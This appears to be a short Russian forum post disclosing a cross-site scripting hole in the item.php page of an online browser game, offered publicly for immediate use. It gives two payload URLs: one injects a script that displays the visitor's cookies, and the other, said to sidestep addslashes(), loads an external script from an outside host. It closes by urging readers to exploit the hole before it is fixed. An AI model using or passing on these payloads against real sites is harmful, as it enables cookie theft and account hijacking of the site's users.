Вот и решил я выложить это на паблик за ненадобностью мне:
http://www.ganjawarsru/item.php?item_id=> <script>alert(document.cookie)</script>
И чтобы не обращать внимания на addslashes():
http://www.ganjawarsru/item.php?item_id=> <script src=http://site.com/script.txt></script>
Юзаем быстро, пока не закрыли 😉
